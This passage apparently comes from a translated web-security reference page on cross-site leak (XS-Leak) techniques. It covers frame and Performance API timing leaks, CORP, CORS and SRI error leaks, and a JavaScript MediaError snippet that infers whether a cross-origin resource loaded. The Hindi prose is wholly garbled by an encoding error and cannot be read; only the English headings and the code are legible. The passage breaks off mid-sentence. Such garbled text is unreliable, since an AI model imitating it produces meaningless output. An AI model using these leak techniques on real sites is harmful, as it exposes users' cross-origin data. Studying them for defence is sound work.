рдпрд╣ рддрдХрдиреАрдХ рдЙрд▓реНрд▓реЗрдЦрд┐рдд рдкреЗрдкрд░ рдореЗрдВ рдПрдХ рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рдкрд╛рдИ рдЧрдИ, рд▓реЗрдХрд┐рди рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреЛрдИ рд╡рд┐рд╡рд░рдг рдирд╣реАрдВ рдорд┐рд▓рд╛ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЖрдк рдЗрд╕реЗ https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak рдореЗрдВ рд╕реНрд░реЛрдд рдХреЛрдб рдХреА рдЬрд╛рдВрдЪ рдХрд░рдХреЗ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

Empty Page Leak

  • Inclusion Methods: Frames

  • Detectable Difference: Page Content

  • Summary: рдЦрд╛рд▓реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдБ рд╕рдВрд╕рд╛рдзрди рд╕рдордп рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ рдирд╣реАрдВ рдмрдирд╛рддреА рд╣реИрдВред

рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдпрд╣ рдкрд╣рдЪрд╛рди рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдПрдХ рдЕрдиреБрд░реЛрдз рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдПрдХ рдЦрд╛рд▓реА HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рдореЗрдВ рд╣реБрдЖ рдХреНрдпреЛрдВрдХрд┐ рдХреБрдЫ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рдЦрд╛рд▓реА рдкреГрд╖реНрда рдкреНрд░рджрд░реНрд╢рди рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдирд╣реАрдВ рдмрдирд╛рддреЗ рд╣реИрдВред

XSS-Auditor Leak

  • Inclusion Methods: Frames

  • Detectable Difference: Page Content

  • Summary: рд╕реБрд░рдХреНрд╖рд╛ рдЖрд╢реНрд╡рд╛рд╕рди рдореЗрдВ XSS рдСрдбрд┐рдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рд╣рдорд▓рд╛рд╡рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХрд╛ рдЕрд╡рд▓реЛрдХрди рдХрд░рдХреЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╡реЗрдмрдкреГрд╖реНрда рддрддреНрд╡реЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрдм рддреИрдпрд╛рд░ рдХрд┐рдП рдЧрдП рдкреЗрд▓реЛрдб рдСрдбрд┐рдЯрд░ рдХреЗ рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рддрдВрддреНрд░ рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рддреЗ рд╣реИрдВред

рд╕реБрд░рдХреНрд╖рд╛ рдЖрд╢реНрд╡рд╛рд╕рди (SA) рдореЗрдВ, XSS рдСрдбрд┐рдЯрд░, рдЬреЛ рдореВрд▓ рд░реВрдк рд╕реЗ рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ (XSS) рд╣рдорд▓реЛрдВ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдХреЛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рдкрд░реАрдд рд░реВрдк рд╕реЗ рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рд╡рд┐рд╢реЗрд╖рддрд╛ Google Chrome (GC) рд╕реЗ рд╣рдЯрд╛ рджреА рдЧрдИ рдереА, рд▓реЗрдХрд┐рди рдпрд╣ SA рдореЗрдВ рдЕрднреА рднреА рдореМрдЬреВрдж рд╣реИред 2013 рдореЗрдВ, рдмреНрд░реМрди рдФрд░ рд╣рд╛рдЗрдбрд░рд┐рдЪ рдиреЗ рджрд┐рдЦрд╛рдпрд╛ рдХрд┐ XSS рдСрдбрд┐рдЯрд░ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рд╡реИрдз рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЭреВрдареЗ рд╕рдХрд╛рд░рд╛рддреНрдордХ рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рд╢реЛрдзрдХрд░реНрддрд╛рдУрдВ рдиреЗ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдФрд░ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкреГрд╖реНрдареЛрдВ рдкрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рд╛рдордЧреНрд░реА рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рддрдХрдиреАрдХреЛрдВ рдХрд╛ рд╡рд┐рдХрд╛рд╕ рдХрд┐рдпрд╛, рдЬрд┐рд╕реЗ XS-Leaks рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдкрд╣рд▓реЗ рдЯреЗрд░рд╛рдбрд╛ рджреНрд╡рд╛рд░рд╛ рд░рд┐рдкреЛрд░реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рд╣реЗрдпреЗрд╕ рджреНрд╡рд╛рд░рд╛ рдПрдХ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рдореЗрдВ рд╡рд┐рд╕реНрддреГрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рд╣рд╛рд▓рд╛рдБрдХрд┐ рдпреЗ рддрдХрдиреАрдХреЗрдВ GC рдореЗрдВ XSS рдСрдбрд┐рдЯрд░ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рдереАрдВ, рдпрд╣ рдкрд╛рдпрд╛ рдЧрдпрд╛ рдХрд┐ SA рдореЗрдВ, XSS рдСрдбрд┐рдЯрд░ рджреНрд╡рд╛рд░рд╛ рдЕрд╡рд░реБрджреНрдз рдкреГрд╖реНрда рдкреНрд░рджрд░реНрд╢рди API рдореЗрдВ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ рдЙрддреНрдкрдиреНрди рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рд╣реЛрдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдкреНрд░рдХрдЯ рд╣реЛрддрд╛ рд╣реИред

X-Frame Leak

рдпрджрд┐ рдХрд┐рд╕реА рдкреГрд╖реНрда рдХреЛ iframe рдореЗрдВ рд░реЗрдВрдбрд░ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИ, рддреЛ рдпрд╣ рдкреНрд░рджрд░реНрд╢рди рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдирд╣реАрдВ рдмрдирд╛рддрд╛ рд╣реИред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ X-Frame-Options рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрджрд┐ рдЖрдк embed tag рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рддреЛ рд╡рд╣реА рд╣реЛрддрд╛ рд╣реИред

Download Detection

  • Inclusion Methods: Frames

  • Detectable Difference: Header

  • Summary: рдбрд╛рдЙрдирд▓реЛрдб рдкреНрд░рджрд░реНрд╢рди API рдореЗрдВ рд╕рдВрд╕рд╛рдзрди рд╕рдордп рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ рдирд╣реАрдВ рдмрдирд╛рддреЗ рд╣реИрдВред

XS-Leak рдХреЗ рд╡рд░реНрдгрд┐рдд рдХреЗ рд╕рдорд╛рди, рдПрдХ рд╕рдВрд╕рд╛рдзрди рдЬреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ ContentDisposition рд╣реЗрдбрд░ рдХреЗ рдХрд╛рд░рдг, рднреА рдкреНрд░рджрд░реНрд╢рди рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдирд╣реАрдВ рдмрдирд╛рддрд╛ рд╣реИред рдпрд╣ рддрдХрдиреАрдХ рд╕рднреА рдкреНрд░рдореБрдЦ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рдХрд╛рдо рдХрд░рддреА рд╣реИред

Redirect Start Leak

  • Inclusion Methods: Frames

  • Detectable Difference: Redirect

  • Summary: рд╕рдВрд╕рд╛рдзрди рд╕рдордп рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдПрдХ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХреЗ рдкреНрд░рд╛рд░рдВрдн рд╕рдордп рдХреЛ рд▓реАрдХ рдХрд░рддреА рд╣реИред

рд╣рдордиреЗ рдПрдХ XS-Leak рдЙрджрд╛рд╣рд░рдг рдкрд╛рдпрд╛ рдЬреЛ рдХреБрдЫ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рд▓реЙрдЧ рдХрд░рддреЗ рд╣реИрдВред рдорд╛рдирдХ рдПрдХ рдЙрдкрд╕рдореБрдЪреНрдЪрдп рдЧреБрдгреЛрдВ рдХреЛ рд╢реВрдиреНрдп рдкрд░ рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рд╣рд╛рд▓рд╛рдБрдХрд┐, SA рдореЗрдВ рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рджреНрд╡рд╛рд░рд╛ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, Performance API рдХреЛ рдХреНрд╡реЗрд░реА рдХрд░рдХреЗ рдФрд░ redirectStart рд╕рдордп рдбреЗрдЯрд╛ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдХреЗред

Duration Redirect Leak

  • Inclusion Methods: Fetch API

  • Detectable Difference: Redirect

  • Summary: рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рд╣реЛрдиреЗ рдкрд░ рд╕рдордп рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпреЛрдВ рдХреА рдЕрд╡рдзрд┐ рдирдХрд╛рд░рд╛рддреНрдордХ рд╣реЛрддреА рд╣реИред

GC рдореЗрдВ, рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП рдЕрд╡рдзрд┐ рдирдХрд╛рд░рд╛рддреНрдордХ рд╣реЛрддреА рд╣реИ рдФрд░ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдЗрд╕реЗ рдЕрд▓рдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЙрди рдЕрдиреБрд░реЛрдзреЛрдВ рд╕реЗ рдЬреЛ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдирд╣реАрдВ рджреЗрддреЗ рд╣реИрдВред

CORP Leak

  • Inclusion Methods: Frames

  • Detectable Difference: Header

  • Summary: CORP рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╕рдВрд╕рд╛рдзрди рдкреНрд░рджрд░реНрд╢рди рд╕рдордп рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ рдирд╣реАрдВ рдмрдирд╛рддреЗ рд╣реИрдВред

рдХреБрдЫ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, nextHopProtocol рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХреЛ рд▓реАрдХ рддрдХрдиреАрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред GC рдореЗрдВ, рдЬрдм CORP рд╣реЗрдбрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ nextHopProtocol рдЦрд╛рд▓реА рд╣реЛрдЧрд╛ред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ SA CORP-рд╕рдХреНрд╖рдо рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдкреНрд░рджрд░реНрд╢рди рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдирд╣реАрдВ рдмрдирд╛рдПрдЧрд╛ред

Service Worker

рд╕реЗрд╡рд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ рдЗрд╡реЗрдВрдЯ-рдЪрд╛рд▓рд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕рдВрджрд░реНрдн рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рдореВрд▓ рдкрд░ рдЪрд▓рддреЗ рд╣реИрдВред рд╡реЗ рдПрдХ рд╡реЗрдм рдкреГрд╖реНрда рдХреЗ рдмреИрдХрдЧреНрд░рд╛рдЙрдВрдб рдореЗрдВ рдЪрд▓рддреЗ рд╣реИрдВ рдФрд░ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ, рд╕рдВрд╢реЛрдзрд┐рдд рдФрд░ рдХреИрд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдСрдлрд╝рд▓рд╛рдЗрди рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдпрджрд┐ рдПрдХ рд╕рдВрд╕рд╛рдзрди рдХреИрд╢ рджреНрд╡рд╛рд░рд╛ рд╕реЗрд╡рд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╕рдВрд╕рд╛рдзрди рд╕реЗрд╡рд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ рдХреИрд╢ рд╕реЗ рд▓реЛрдб рд╣реЛрдЧрд╛ред рдпрд╣ рдкрд╣рдЪрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рд╕рдВрд╕рд╛рдзрди рд╕реЗрд╡рд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ рдХреИрд╢ рд╕реЗ рд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, Performance API рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдПрдХ рд╕рдордп рд╣рдорд▓реЗ рдХреЗ рд╕рд╛рде рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдкреЗрдкрд░ рджреЗрдЦреЗрдВ)ред

Cache

Performance API рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдПрдХ рд╕рдВрд╕рд╛рдзрди рдХреИрд╢ рдореЗрдВ рд╣реИред

Network Duration

Error Messages Technique

Media Error

  • Inclusion Methods: HTML Elements (Video, Audio)

  • Detectable Difference: Status Code

  • Summary: рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ рдореЗрдВ рдПрдХ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдЕрдиреБрд░реЛрдз рдХреА рд╕реНрдерд┐рддрд┐ рдХреЛрдб рдХреЛ рд╕рдЯреАрдХ рд░реВрдк рд╕реЗ рд▓реАрдХ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

The MediaError рдЗрдВрдЯрд░рдлреЗрд╕ рдХрд╛ рд╕рдВрджреЗрд╢ рдкреНрд░реЙрдкрд░реНрдЯреА рдЙрди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреА рдЕрджреНрд╡рд┐рддреАрдп рдкрд╣рдЪрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд╕рд╛рде рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд▓реЛрдб рд╣реЛрддреЗ рд╣реИрдВред рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ рд╕рдВрджреЗрд╢ рд╕рд╛рдордЧреНрд░реА рдХрд╛ рдЕрд╡рд▓реЛрдХрди рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡рд╣ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рдВрд╕рд╛рдзрди рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕реНрдерд┐рддрд┐ рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИред

CORS Error

  • Inclusion Methods: Fetch API

  • Detectable Difference: Header

  • Summary: рд╕реБрд░рдХреНрд╖рд╛ рдЖрд╢реНрд╡рд╛рд╕рди (SA) рдореЗрдВ, CORS рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдЕрдиреБрд░реЛрдзреЛрдВ рдХрд╛ рдкреВрд░рд╛ URL рдЙрдЬрд╛рдЧрд░ рдХрд░рддреЗ рд╣реИрдВред

рдпрд╣ рддрдХрдиреАрдХ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рд╛рдЗрдЯ рдХреЗ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдЧрдВрддрд╡реНрдп рдирд┐рдХрд╛рд▓рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬреЛ рдпрд╣ рджрд░реНрд╢рд╛рддреА рд╣реИ рдХрд┐ Webkit-рдЖрдзрд╛рд░рд┐рдд рдмреНрд░рд╛рдЙрдЬрд╝рд░ CORS рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдХреИрд╕реЗ рд╕рдВрднрд╛рд▓рддреЗ рд╣реИрдВред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдЬрдм рдПрдХ CORS-рд╕рдХреНрд╖рдо рдЕрдиреБрд░реЛрдз рдХреЛ рдПрдХ рд▓рдХреНрд╖рд┐рдд рд╕рд╛рдЗрдЯ рдкрд░ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реНрдерд┐рддрд┐ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рддреА рд╣реИ рдФрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдмрд╛рдж рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдХреЗ рд▓рдХреНрд╖реНрдп рдХрд╛ рдкреВрд░рд╛ URL рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдХреЗ рднреАрддрд░ рдкреНрд░рдХрдЯ рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рднреЗрджреНрдпрддрд╛ рди рдХреЗрд╡рд▓ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдХреЗ рддрдереНрдп рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддреА рд╣реИ рдмрд▓реНрдХрд┐ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдХреЗ рдЕрдВрдд рдмрд┐рдВрджреБ рдФрд░ рдХрд┐рд╕реА рднреА рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдХреНрд╡реЗрд░реА рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рднреА рдЙрдЬрд╛рдЧрд░ рдХрд░рддреА рд╣реИ рдЬреЛ рдЗрд╕рдореЗрдВ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред

SRI Error

  • Inclusion Methods: Fetch API

  • Detectable Difference: Header

  • Summary: рд╕реБрд░рдХреНрд╖рд╛ рдЖрд╢реНрд╡рд╛рд╕рди (SA) рдореЗрдВ, CORS рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдЕрдиреБрд░реЛрдзреЛрдВ рдХрд╛ рдкреВрд░рд╛ URL рдЙрдЬрд╛рдЧрд░ рдХрд░рддреЗ рд╣реИрдВред

рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рд╡рд┐рд╕реНрддреГрдд рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢реЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдЖрдХрд╛рд░ рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ Subresource Integrity (SRI) рдХреЗ рддрдВрддреНрд░ рдХреЗ рдХрд╛рд░рдг рд╕рдВрднрд╡ рд╣реИ, рдЬреЛ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдЦрдВрдбрддрд╛ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рдВрд╕рд╛рдзрди, рдЬреЛ рдЕрдХреНрд╕рд░ CDNs рд╕реЗ рд▓рд╛рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдореЗрдВ рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдирд╣реАрдВ рдХреА рдЧрдИ рд╣реИред SRI рдХреЛ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдкрд░ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЗрдиреНрд╣реЗрдВ CORS-рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП; рдЕрдиреНрдпрдерд╛, рдпреЗ рдЕрдЦрдВрдбрддрд╛ рдЬрд╛рдВрдЪ рдХреЗ рдЕрдзреАрди рдирд╣реАрдВ рд╣реЛрддреЗред рд╕реБрд░рдХреНрд╖рд╛ рдЖрд╢реНрд╡рд╛рд╕рди (SA) рдореЗрдВ, CORS рддреНрд░реБрдЯрд┐ XS-Leak рдХреА рддрд░рд╣, рдПрдХ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдХреЛ рдПрдХ рдЕрдЦрдВрдбрддрд╛ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рд╕рд╛рде рдПрдХ рдлрд╝реЗрдЪ рдЕрдиреБрд░реЛрдз рдХреЗ рдмрд╛рдж рдХреИрдкреНрдЪрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдЬрд╛рдирдмреВрдЭрдХрд░ рдЗрд╕ рддреНрд░реБрдЯрд┐ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐рд╕реА рднреА рдЕрдиреБрд░реЛрдз рдХреА рдЕрдЦрдВрдбрддрд╛ рд╡рд┐рд╢реЗрд╖рддрд╛ рдореЗрдВ рдЭреВрдард╛ рд╣реИрд╢ рдорд╛рди рдЕрд╕рд╛рдЗрди рдХрд░рдХреЗред SA рдореЗрдВ, рдкрд░рд┐рдгрд╛рдореА рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рдЕрдиреБрд░реЛрдзрд┐рдд рд╕рдВрд╕рд╛рдзрди рдХреА рд╕рд╛рдордЧреНрд░реА рд▓рдВрдмрд╛рдИ рдХреЛ рдкреНрд░рдХрдЯ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЖрдХрд╛рд░ рдореЗрдВ рднрд┐рдиреНрдирддрд╛рдУрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА 